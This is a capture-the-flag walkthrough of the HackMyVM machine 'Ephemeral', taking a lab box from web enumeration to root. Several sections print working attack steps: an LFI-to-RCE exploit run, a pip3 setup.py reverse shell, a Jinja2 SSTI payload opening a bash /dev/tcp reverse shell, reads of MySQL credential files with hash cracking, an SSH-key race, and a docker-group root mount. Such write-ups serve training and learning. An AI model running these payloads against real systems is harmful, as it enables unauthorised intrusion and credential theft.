Ephemeral Walkthrough from HackMyVM – Writeup

ephemeral writeup walkthrough security hackmyvm

Ephemeral is a difficult machine involving various tricks and techniques to get to the root shell. However, it took some time for me as one of the exploits wasn’t working. So, I had to modify the script to make it work. The machine features local file inclusions, remote command execution using LFI and phpinfo script, insecure file permissions, sudo abuse, docker group exploitation, etc. Lastly, I would like to thank the author “Proxy Programmer” for putting great effort into making this machine for us. “Ephemeral Walkthrough from HackMyVM – Writeup”

I would like to express my heartfelt condolences to the bereaved families of 72 souls who lost their lives in the Yeti Air 9N-ANC flight crash in Pokhara, Nepal on January 15, 2023.

Click here to go to the download page of Ephemeral.

Scan IP addresses

Firstly, we have to identify the IP address of the target machine in the local network.

❯ fping -aqg

The IP address of the target machine is

Nmap scan

Next, we have to perform a Nmap scan to identify the services on the target machine.

❯ nmap -sC -sV -p- -oN nmap.log
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-17 22:54 +0545
Nmap scan report for
Host is up (0.022s latency).
Not shown: 65532 closed tcp ports (conn-refused)
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0a0d443c388fc06d5d7218e6d9123e57 (RSA)
|   256 4d7dba6fa988eaa2343a6a0c3a271cd5 (ECDSA)
|_  256 7436bfaf8a530ac17fca2ea15cc525ad (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: AutoWash - Car Wash Website Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

In the machine, the FTP port is open but it doesn’t allow anonymous login. Likewise, we see an HTTP port open as well.

Enumerate web server

The website is quite static. Thus, I performed a directory busting in case there are any PHP scripts.

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u -x php,html,txt -o medium.log
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
2023/01/17 22:57:31 Starting gobuster in directory enumeration mode
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 39494]
/contact.html         (Status: 200) [Size: 15151]
/about.html           (Status: 200) [Size: 18464]
/blog.html            (Status: 200) [Size: 20094]
/img                  (Status: 301) [Size: 306] [-->]
/mail                 (Status: 301) [Size: 307] [-->]
/service.html         (Status: 200) [Size: 16853]
/css                  (Status: 301) [Size: 306] [-->]
/team.html            (Status: 200) [Size: 18605]
/lib                  (Status: 301) [Size: 306] [-->]
/js                   (Status: 301) [Size: 305] [-->]
/cd                   (Status: 301) [Size: 305] [-->]
/location.html        (Status: 200) [Size: 14685]
/price                (Status: 301) [Size: 308] [-->]
/price.html           (Status: 200) [Size: 14635]
/prices               (Status: 301) [Size: 309] [-->]
/LICENSE.txt          (Status: 200) [Size: 1309]
/single.html          (Status: 200) [Size: 48856]
/booking.html         (Status: 200) [Size: 14677]
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/phpsysinfo.php       (Status: 200) [Size: 69386]
/server-status        (Status: 403) [Size: 275]

We have a phpsysinfo.php file on the server. Having the file on the server had me think of the possibility of LFI to RCE using phpinfo. So, I looked into the directories of the server. And, there was a script “filedownload.php” inside /prices.

I also had a bit of trouble in this step because the wordlists I was trying weren’t working. Finally, the parameter was present in “burp-parameter-names.txt

❯ ffuf -r -c -ic -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u '' -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3

 :: Method           : GET
 :: URL              :
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0

AssignmentForm          [Status: 200, Size: 3091, Words: 40, Lines: 54, Duration: 1601ms]
:: Progress: [6453/6453] :: Job [1/1] :: 673 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

Also, when we checked the sysphpinfo.php script, we see that the file_uploads is enabled on the server.

File upload is enabled on the server

Since the file uploading feature is enabled along with phpinfo and LFI vulnerabilities, we can perform LFI to RCE and get a reverse shell.

LFI to RCE using phpinfo

The following GitHub repository contained the original python2 script (in the commit history) that worked perfectly.


However, the latest commit on the repo didn’t work at the time of writing. So, I created a fork of the repository, fixed the issue and sent a PR to the original repository. Visit the following Github fork of mine in any case.


I listened on port 9001. Then, I executed the exploit as follows.

python3 exploit.py -l '' --lhost --lport 9001 -i ''

Finally, it gave me the reverse shell.

❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
Linux ephemeral 5.17.0-051700rc7-generic #202203062330 SMP PREEMPT Sun Mar 6 23:33:35 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 10:35:52 up  2:02,  0 users,  load average: 0.00, 0.17, 0.87
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ephemeral:/$ ^Z
[1]  + 49637 suspended  nc -nlvp 9001
❯ stty raw -echo;fg
[1]  + 49637 continued  nc -nlvp 9001

www-data@ephemeral:/$ export TERM=xterm
www-data@ephemeral:/$ stty rows 32 cols 169

Click here to visit the link to upgrade the shell to an intelligent one

Find MySQL credentials

I performed a linpeas scan to get various pieces of information about the machine. Anyway, the credentials were in .my.cnf file.

www-data@ephemeral:/var$ cat /etc/mysql/.my.cnf 

I logged into the server and got data from the database.

www-data@ephemeral:/var$ mysql -uroot -p -s
Enter password: 
mysql> show databases;
mysql> use ephemeral_users
mysql> show tables;
mysql> select * from ephemeral_users;
user	password
kevin	<redacted>
donald	<redacted>
jane	<redacted>
randy	<redacted>

All of these are the hashes of the password. Furthermore, all of these get cracked using john the ripper.

❯ john hash --wordlist=/home/kali/rockyou.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA1 [SHA1 256/256 AVX2 8x])
No password hashes left to crack (see FAQ)
❯ john hash --show

However, we could only switch to the user kevin.

www-data@ephemeral:/$ su - kevin
kevin@ephemeral:~$ id
uid=1000(kevin) gid=1000(kevin) groups=1000(kevin),46(plugdev),120(lpadmin)

Shell using pip3

The sudo permission of the user allowed him to execute pip3 install as the user donald.

kevin@ephemeral:~$ sudo -l
[sudo] password for kevin: 
Matching Defaults entries for kevin on ephemeral:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kevin may run the following commands on ephemeral:
    (donald) PASSWD: /usr/bin/pip3 install *

Using the help of gtfobins, I created a directory, exploit/ inside /dev/shm. Inside the directory, there will be a setup.py script which will give us the reverse shell.

kevin@ephemeral:~$ mkdir -p /dev/shm/exploit
kevin@ephemeral:~$ nano /dev/shm/exploit/setup.py
kevin@ephemeral:~$ cat /dev/shm/exploit/setup.py 
import sys,socket,os,pty
s.connect(("", 9001))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
kevin@ephemeral:~$ sudo -u donald pip3 install /dev/shm/exploit/
Processing /dev/shm/exploit

This gives us the shell of donald.

❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
donald@ephemeral:/tmp/pip-req-build-30j_062p$ id
uid=1004(donald) gid=1004(donald) groups=1004(donald)
donald@ephemeral:/tmp/pip-req-build-30j_062p$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
donald@ephemeral:/tmp/pip-req-build-30j_062p$ ^Z
[1]  + 50161 suspended  nc -nlvp 9001
❯ stty raw -echo;fg
[1]  + 50161 continued  nc -nlvp 9001

donald@ephemeral:/tmp/pip-req-build-30j_062p$ export TERM=xterm-256color
donald@ephemeral:/tmp/pip-req-build-30j_062p$ stty rows 32 cols 169
donald@ephemeral:/tmp/pip-req-build-30j_062p$ id
uid=1004(donald) gid=1004(donald) groups=1004(donald)
donald@ephemeral:/tmp/pip-req-build-30j_062p$ cd

Get the password of the user donald

Once we get the shell, there are two files in the home directory of the user.

donald@ephemeral:~$ cat mypass.txt 
donald@ephemeral:~$ cat note.txt 
Hey Donald this is your system administrator. I left your new password in your home directory. 
Just remember to decode it.

Let me know if you need your password changed again.

I used CyberChef to decode this base 62 code into the password.

Exploit sudo permission

Now, this step is a bit tricky to perform. Since it needed multiple shells, I copied my public key into the target’s .ssh/authorized_keys.

donald@ephemeral:~$ sudo -l
Matching Defaults entries for donald on ephemeral:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User donald may run the following commands on ephemeral:
    (jane) PASSWD: /usr/local/bin/addKeys.sh

Since the default shell is rbash, we have to add an extra option in the prompt to get the bash shell.

❯ ssh donald@ -t "bash --noprofile"
donald@ephemeral:~$ id
uid=1004(donald) gid=1004(donald) groups=1004(donald)

Let’s check the script in the sudo permission.

donald@ephemeral:~$ cat /usr/local/bin/addKeys.sh 

/usr/bin/rm -rf /dev/shm/id_rsa.pub
/usr/bin/rm -rf /dev/shm/id_rsa

/usr/bin/ssh-keygen -q -t rsa -N '' -f /dev/shm/id_rsa

/bin/echo "Keys Added!"

/usr/bin/rm -rf /home/jane/.ssh/

/bin/echo "Directory Deleted!"

/usr/bin/mkdir /home/jane/.ssh/

/bin/echo ".ssh Directory Created!"

/usr/bin/cp /dev/shm/id_rsa.pub /home/jane/.ssh/authorized_keys

/bin/echo "Keys Copied."

/usr/bin/chmod 600 /home/jane/.ssh/authorized_keys

/bin/echo "Permissions Changed!"

/usr/bin/rm -rf /dev/shm/id_rsa
/usr/bin/rm -rf /dev/shm/id_rsa.pub 

/bin/echo "Keys Removed!"

In a nutshell, the script removes any existing, private and public keys from /dev/shm, creates a new pair, copies them to the home directory of the user and deletes the pair from /dev/shm.

Since the permission of the directory is 777, anyone can remove files. So, we cannot create a pair with the same name. However, we can create an infinite loop that continuously copies our custom pairs to id_rsa and id_rsa.pub. If our loop could copy our private keys before addKeys.sh would copy the key to the home directory, and we will get access.

donald@ephemeral:~$ /usr/bin/ssh-keygen -q -t rsa -N '' -f /dev/shm/custom
donald@ephemeral:~$ while true; do cp /dev/shm/custom /dev/shm/id_rsa; chmod 777 /dev/shm/id_rsa; cp /dev/shm/custom.pub /dev/shm/id_rsa.pub; done

On another shell, I ran the sudo command.

donald@ephemeral:~$ sudo -u jane /usr/local/bin/addKeys.sh 
/dev/shm/id_rsa already exists.
Overwrite (y/n)? n
Keys Added!
Directory Deleted!
.ssh Directory Created!
Keys Copied.
Permissions Changed!
Keys Removed!

This would give us access to the user jane.

donald@ephemeral:~$ ssh jane@localhost -i /dev/shm/custom 
The authenticity of host 'localhost (' can't be established.
ECDSA key fingerprint is SHA256:/k63fO51xfAWhhIRatrod8DX2c8EHuVYagl9FGfd6Q0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.17.0-051700rc7-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

17 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '22.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2025.
jane@ephemeral:~$ echo $SHELL

SSTI Vulnerability

When we check the sudo permission of jane, we see that she can execute a python script as randy.

jane@ephemeral:~$ sudo -l
Matching Defaults entries for jane on ephemeral:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jane may run the following commands on ephemeral:
    (randy) NOPASSWD: /usr/bin/python3 /var/www/html/private_html/app.py

After looking at the source code, we can find that it is a web server that suffers from SSTI vulnerability in /page with the parameter name.

jane@ephemeral:~$ cat /var/www/html/private_html/app.py 
from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

def page():

    name = request.values.get('name')

    output = Jinja2.from_string('Welcome ' + name + '!').render()

    return output

if __name__ == "__main__":
    app.run(host='', port=5000)

Let’s run the web server as randy.

jane@ephemeral:~$ sudo -u randy python3 /var/www/html/private_html/app.py 
 * Serving Flask app 'app' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on (Press CTRL+C to quit)

After trying various payloads, the following link gave me the reverse shell.{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash %2Dc 'bash %2Di %3E%26 %2Fdev%2Ftcp%2F10%2E0%2E0%2E4%2F9001 0%3E%261'").read()}}{%endif%}{%endfor%}

You have to decode it from the URL-encoded format to view the payload. Also, the article from hacktricks is awesome to understand how it works in Jinja2.

❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
randy@ephemeral:/home/jane$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
randy@ephemeral:/home/jane$ ^Z
[1]  + 51525 suspended  nc -nlvp 9001
❯ stty raw -echo;fg
[1]  + 51525 continued  nc -nlvp 9001

randy@ephemeral:/home/jane$ export TERM=xterm-256color
randy@ephemeral:/home/jane$ stty rows 32 cols 169

Exploit docker group

Interestingly, the last step on this machine is the easiest one. The user belongs to the group ‘docker’. Hence, we can mount the host’s filesystem inside the container. However, there must be a Linux image on the machine.

randy@ephemeral:~$ docker image list
alpine       latest    c059bfaa849c   13 months ago   5.59MB

Now, we have to mount the file system.

randy@ephemeral:~$ docker run -it --rm -v /:/mnt alpine chroot /mnt bash
groups: cannot find name for group ID 4
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@d13a6777da23:/# cd
root@d13a6777da23:~# whoami
root@d13a6777da23:~# md5sum /root/root.txt 
309eeb052f793871e42385b0a5f55ab4  /root/root.txt
root@d13a6777da23:~# echo nepcodex.com 

Check out my walkthrough of Black Widow from HackMyVM.

Ephemeral Walkthrough from HackMyVM – Writeup
5 2 votes
Article Rating
Notify of
Inline Feedbacks
View all comments
Scroll to top

AdBlock Detected

I am sorry for the popup but it costs me money and time to write these posts.
Please disable the adblocker to proceed.
If you are a regular visitor, you can buymeacoffee too. 😉